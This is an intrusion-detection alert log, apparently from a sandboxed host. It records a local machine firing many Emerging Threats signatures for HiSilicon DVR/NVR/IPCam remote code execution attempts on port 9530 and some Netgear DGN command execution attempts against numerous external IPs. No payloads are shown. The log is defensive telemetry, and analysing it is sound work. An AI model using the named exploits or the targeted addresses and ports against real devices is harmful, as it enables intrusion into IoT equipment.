05/16/24-16:39:16.581471	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50594	9530	192.168.2.23	182.104.57.228
05/16/24-16:39:05.706098	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46388	9530	192.168.2.23	180.238.50.45
05/16/24-16:39:16.581471	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50594	9530	192.168.2.23	182.104.57.228
05/16/24-16:39:13.657143	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	33530	80	192.168.2.23	158.131.1.161
05/16/24-16:39:16.581452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46444	9530	192.168.2.23	184.105.190.235
05/16/24-16:39:16.581452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46444	9530	192.168.2.23	184.105.190.235
05/16/24-16:38:57.303968	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52832	9530	192.168.2.23	142.11.234.114
05/16/24-16:39:08.045049	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50460	9530	192.168.2.23	171.109.89.253
05/16/24-16:39:08.045049	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50460	9530	192.168.2.23	171.109.89.253
05/16/24-16:38:59.592937	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53918	9530	192.168.2.23	61.124.174.72
05/16/24-16:38:57.303968	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52832	9530	192.168.2.23	142.11.234.114
05/16/24-16:38:59.592937	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53918	9530	192.168.2.23	61.124.174.72
05/16/24-16:39:14.492302	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36844	9530	192.168.2.23	5.29.252.242
05/16/24-16:39:12.378514	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37070	9530	192.168.2.23	137.75.174.149
05/16/24-16:39:12.378514	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37070	9530	192.168.2.23	137.75.174.149
05/16/24-16:39:14.492302	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36844	9530	192.168.2.23	5.29.252.242
05/16/24-16:39:16.597912	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49042	9530	192.168.2.23	74.163.75.232
05/16/24-16:39:16.597912	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49042	9530	192.168.2.23	74.163.75.232
05/16/24-16:38:50.065061	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50276	9530	192.168.2.23	143.141.79.10
05/16/24-16:38:50.065061	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50276	9530	192.168.2.23	143.141.79.10
05/16/24-16:39:12.298342	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51866	9530	192.168.2.23	53.171.235.180
05/16/24-16:39:12.301137	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47446	9530	192.168.2.23	91.63.224.122
05/16/24-16:39:12.301137	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47446	9530	192.168.2.23	91.63.224.122
05/16/24-16:39:08.125404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42996	9530	192.168.2.23	155.126.190.190
05/16/24-16:39:12.298342	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51866	9530	192.168.2.23	53.171.235.180
05/16/24-16:38:59.519292	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59086	9530	192.168.2.23	42.18.230.193
05/16/24-16:38:59.519292	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59086	9530	192.168.2.23	42.18.230.193
05/16/24-16:39:08.125404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42996	9530	192.168.2.23	155.126.190.190
05/16/24-16:38:59.519332	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34910	9530	192.168.2.23	82.126.106.226
05/16/24-16:38:59.519332	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34910	9530	192.168.2.23	82.126.106.226
05/16/24-16:39:05.677882	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38248	9530	192.168.2.23	9.169.172.160
05/16/24-16:39:05.677882	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38248	9530	192.168.2.23	9.169.172.160
05/16/24-16:39:16.580744	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58308	9530	192.168.2.23	107.167.162.193
05/16/24-16:39:16.612692	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54730	9530	192.168.2.23	150.239.133.66
05/16/24-16:39:16.612692	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54730	9530	192.168.2.23	150.239.133.66
05/16/24-16:38:50.004154	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58892	9530	192.168.2.23	48.51.165.142
05/16/24-16:38:50.047742	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56142	9530	192.168.2.23	168.154.218.223
05/16/24-16:38:50.004154	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58892	9530	192.168.2.23	48.51.165.142
05/16/24-16:38:50.047742	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56142	9530	192.168.2.23	168.154.218.223
05/16/24-16:39:16.580744	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58308	9530	192.168.2.23	107.167.162.193
05/16/24-16:39:08.041194	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58970	9530	192.168.2.23	54.237.66.112
05/16/24-16:39:16.610532	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45010	9530	192.168.2.23	97.118.215.212
05/16/24-16:39:16.610532	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45010	9530	192.168.2.23	97.118.215.212
05/16/24-16:38:53.100303	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59748	9530	192.168.2.23	38.190.19.58
05/16/24-16:38:53.100303	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59748	9530	192.168.2.23	38.190.19.58
05/16/24-16:39:08.041194	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58970	9530	192.168.2.23	54.237.66.112
05/16/24-16:39:08.041060	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36064	9530	192.168.2.23	131.71.237.2
05/16/24-16:39:08.041060	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36064	9530	192.168.2.23	131.71.237.2
05/16/24-16:39:08.127329	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36778	9530	192.168.2.23	174.23.23.43
05/16/24-16:39:08.136795	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59082	9530	192.168.2.23	48.75.212.59
05/16/24-16:39:08.127329	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36778	9530	192.168.2.23	174.23.23.43
05/16/24-16:39:08.136795	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59082	9530	192.168.2.23	48.75.212.59
05/16/24-16:39:02.745268	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33374	9530	192.168.2.23	129.241.156.191
05/16/24-16:39:03.283140	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49642	9530	192.168.2.23	206.14.243.114
05/16/24-16:39:05.677782	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36286	9530	192.168.2.23	135.32.253.244
05/16/24-16:39:03.283140	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49642	9530	192.168.2.23	206.14.243.114
05/16/24-16:39:05.677782	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36286	9530	192.168.2.23	135.32.253.244
05/16/24-16:39:02.745268	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33374	9530	192.168.2.23	129.241.156.191
05/16/24-16:38:53.100369	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42556	9530	192.168.2.23	40.234.83.203
05/16/24-16:38:53.100369	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42556	9530	192.168.2.23	40.234.83.203
05/16/24-16:39:02.765704	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38312	9530	192.168.2.23	174.244.83.163
05/16/24-16:38:55.176027	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45858	9530	192.168.2.23	206.160.246.165
05/16/24-16:38:55.176027	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45858	9530	192.168.2.23	206.160.246.165
05/16/24-16:39:02.765704	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38312	9530	192.168.2.23	174.244.83.163
05/16/24-16:38:53.099138	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36174	9530	192.168.2.23	185.75.156.120
05/16/24-16:38:53.099138	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36174	9530	192.168.2.23	185.75.156.120
05/16/24-16:39:08.044855	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59978	9530	192.168.2.23	178.243.186.76
05/16/24-16:39:08.044855	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59978	9530	192.168.2.23	178.243.186.76
05/16/24-16:39:08.041802	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42572	9530	192.168.2.23	206.43.18.75
05/16/24-16:38:59.557716	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42034	9530	192.168.2.23	139.159.187.152
05/16/24-16:38:59.557716	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42034	9530	192.168.2.23	139.159.187.152
05/16/24-16:39:08.041802	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42572	9530	192.168.2.23	206.43.18.75
05/16/24-16:38:57.305780	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33680	9530	192.168.2.23	219.12.145.90
05/16/24-16:39:16.580434	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45740	9530	192.168.2.23	187.199.29.140
05/16/24-16:39:16.580434	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45740	9530	192.168.2.23	187.199.29.140
05/16/24-16:38:57.305780	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33680	9530	192.168.2.23	219.12.145.90
05/16/24-16:38:57.407572	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41800	9530	192.168.2.23	159.253.40.75
05/16/24-16:38:57.407572	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41800	9530	192.168.2.23	159.253.40.75
05/16/24-16:39:02.748794	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36160	9530	192.168.2.23	204.154.69.15
05/16/24-16:39:02.748794	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36160	9530	192.168.2.23	204.154.69.15
05/16/24-16:39:14.493546	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44406	9530	192.168.2.23	27.220.111.215
05/16/24-16:39:03.284741	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39142	9530	192.168.2.23	168.89.167.182
05/16/24-16:38:50.004289	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33218	9530	192.168.2.23	71.85.226.131
05/16/24-16:38:50.004289	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33218	9530	192.168.2.23	71.85.226.131
05/16/24-16:39:14.493546	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44406	9530	192.168.2.23	27.220.111.215
05/16/24-16:39:02.767744	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42196	9530	192.168.2.23	205.195.108.129
05/16/24-16:39:02.767744	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42196	9530	192.168.2.23	205.195.108.129
05/16/24-16:39:08.041855	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39272	9530	192.168.2.23	92.157.250.56
05/16/24-16:39:08.041855	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39272	9530	192.168.2.23	92.157.250.56
05/16/24-16:39:03.284741	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39142	9530	192.168.2.23	168.89.167.182
05/16/24-16:39:14.514883	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46934	9530	192.168.2.23	199.162.242.14
05/16/24-16:39:14.514883	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46934	9530	192.168.2.23	199.162.242.14
05/16/24-16:38:57.304851	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54280	9530	192.168.2.23	5.235.101.103
05/16/24-16:38:57.304851	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54280	9530	192.168.2.23	5.235.101.103
05/16/24-16:38:50.078800	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43074	9530	192.168.2.23	102.82.64.177
05/16/24-16:39:05.506976	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	36038	80	192.168.2.23	141.201.95.83
05/16/24-16:38:50.078800	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43074	9530	192.168.2.23	102.82.64.177
05/16/24-16:38:50.048920	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51458	9530	192.168.2.23	65.82.114.22
05/16/24-16:39:08.092922	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59688	9530	192.168.2.23	78.26.59.174
05/16/24-16:39:08.092922	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59688	9530	192.168.2.23	78.26.59.174
05/16/24-16:39:16.604217	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33072	9530	192.168.2.23	210.125.113.221
05/16/24-16:39:16.604217	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33072	9530	192.168.2.23	210.125.113.221
05/16/24-16:39:12.380615	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58512	9530	192.168.2.23	106.137.156.250
05/16/24-16:39:12.380615	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58512	9530	192.168.2.23	106.137.156.250
05/16/24-16:38:55.229939	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46194	9530	192.168.2.23	161.202.187.49
05/16/24-16:38:55.229939	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46194	9530	192.168.2.23	161.202.187.49
05/16/24-16:39:14.525670	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49924	9530	192.168.2.23	122.148.105.43
05/16/24-16:39:14.525670	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49924	9530	192.168.2.23	122.148.105.43
05/16/24-16:38:59.519957	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49020	9530	192.168.2.23	40.166.231.134
05/16/24-16:38:50.076322	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58086	9530	192.168.2.23	47.90.148.227
05/16/24-16:38:50.076322	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58086	9530	192.168.2.23	47.90.148.227
05/16/24-16:39:16.603126	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60202	9530	192.168.2.23	169.32.98.174
05/16/24-16:38:59.519957	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49020	9530	192.168.2.23	40.166.231.134
05/16/24-16:39:16.603126	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60202	9530	192.168.2.23	169.32.98.174
05/16/24-16:38:55.214479	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33672	9530	192.168.2.23	170.182.243.223
05/16/24-16:38:55.214479	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33672	9530	192.168.2.23	170.182.243.223
05/16/24-16:39:14.514869	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48548	9530	192.168.2.23	39.42.164.153
05/16/24-16:39:14.514869	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48548	9530	192.168.2.23	39.42.164.153
05/16/24-16:38:50.048920	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51458	9530	192.168.2.23	65.82.114.22
05/16/24-16:38:59.558435	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36250	9530	192.168.2.23	145.179.67.128
05/16/24-16:38:59.558435	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36250	9530	192.168.2.23	145.179.67.128
05/16/24-16:39:02.744326	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56836	9530	192.168.2.23	178.238.205.148
05/16/24-16:39:02.744326	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56836	9530	192.168.2.23	178.238.205.148
05/16/24-16:39:09.569983	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	35132	80	192.168.2.23	154.141.120.120
05/16/24-16:38:53.065641	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53252	9530	192.168.2.23	62.109.199.123
05/16/24-16:38:53.065641	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53252	9530	192.168.2.23	62.109.199.123
05/16/24-16:38:59.519435	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35302	9530	192.168.2.23	36.231.136.62
05/16/24-16:39:08.041252	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37378	9530	192.168.2.23	216.240.130.168
05/16/24-16:39:16.605165	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37332	9530	192.168.2.23	54.0.161.54
05/16/24-16:39:16.605165	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37332	9530	192.168.2.23	54.0.161.54
05/16/24-16:39:16.579356	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44136	9530	192.168.2.23	57.209.112.105
05/16/24-16:39:16.579356	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44136	9530	192.168.2.23	57.209.112.105
05/16/24-16:39:14.513386	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60056	9530	192.168.2.23	172.153.171.157
05/16/24-16:39:08.041252	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37378	9530	192.168.2.23	216.240.130.168
05/16/24-16:39:14.513386	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60056	9530	192.168.2.23	172.153.171.157
05/16/24-16:39:02.727001	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49526	9530	192.168.2.23	19.161.148.175
05/16/24-16:39:02.727001	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49526	9530	192.168.2.23	19.161.148.175
05/16/24-16:38:59.519435	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35302	9530	192.168.2.23	36.231.136.62
05/16/24-16:38:53.099196	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37168	9530	192.168.2.23	105.6.208.142
05/16/24-16:38:53.099196	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37168	9530	192.168.2.23	105.6.208.142
05/16/24-16:39:02.726958	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48386	9530	192.168.2.23	37.82.26.229
05/16/24-16:39:02.726958	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48386	9530	192.168.2.23	37.82.26.229
05/16/24-16:39:16.581459	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49066	9530	192.168.2.23	95.156.235.31
05/16/24-16:39:16.581459	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49066	9530	192.168.2.23	95.156.235.31
05/16/24-16:39:08.146674	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58394	9530	192.168.2.23	169.117.219.205
05/16/24-16:39:08.146674	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58394	9530	192.168.2.23	169.117.219.205
05/16/24-16:39:02.762363	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52044	9530	192.168.2.23	171.234.185.55
05/16/24-16:39:02.762363	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52044	9530	192.168.2.23	171.234.185.55
05/16/24-16:39:12.301114	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47348	9530	192.168.2.23	57.186.42.1
05/16/24-16:39:08.127259	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60062	9530	192.168.2.23	151.57.142.248
05/16/24-16:39:12.301114	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47348	9530	192.168.2.23	57.186.42.1
05/16/24-16:39:08.127259	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60062	9530	192.168.2.23	151.57.142.248
05/16/24-16:38:57.302540	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59762	9530	192.168.2.23	48.69.208.98
05/16/24-16:38:57.302540	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59762	9530	192.168.2.23	48.69.208.98
05/16/24-16:39:16.580433	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55426	9530	192.168.2.23	13.215.250.120
05/16/24-16:39:05.699909	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36830	9530	192.168.2.23	208.104.246.97
05/16/24-16:39:16.580433	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55426	9530	192.168.2.23	13.215.250.120
05/16/24-16:39:05.699909	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36830	9530	192.168.2.23	208.104.246.97
05/16/24-16:38:50.052092	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40330	9530	192.168.2.23	8.227.106.158
05/16/24-16:38:59.519372	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51334	9530	192.168.2.23	159.76.186.15
05/16/24-16:38:59.519372	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51334	9530	192.168.2.23	159.76.186.15
05/16/24-16:39:05.707019	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43712	9530	192.168.2.23	212.157.123.220
05/16/24-16:39:05.707019	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43712	9530	192.168.2.23	212.157.123.220
05/16/24-16:39:16.578939	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57498	9530	192.168.2.23	143.247.175.96
05/16/24-16:39:16.578939	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57498	9530	192.168.2.23	143.247.175.96
05/16/24-16:38:57.437163	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55656	9530	192.168.2.23	48.237.90.58
05/16/24-16:38:57.437163	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55656	9530	192.168.2.23	48.237.90.58
05/16/24-16:39:05.506497	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	58226	80	192.168.2.23	193.213.19.125
05/16/24-16:39:03.260045	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34696	9530	192.168.2.23	128.98.155.43
05/16/24-16:39:08.093030	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35170	9530	192.168.2.23	41.186.90.75
05/16/24-16:39:08.093030	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35170	9530	192.168.2.23	41.186.90.75
05/16/24-16:39:03.260045	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34696	9530	192.168.2.23	128.98.155.43
05/16/24-16:38:57.304665	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49916	9530	192.168.2.23	12.132.230.99
05/16/24-16:38:57.304665	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49916	9530	192.168.2.23	12.132.230.99
05/16/24-16:39:05.698744	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45942	9530	192.168.2.23	201.70.39.222
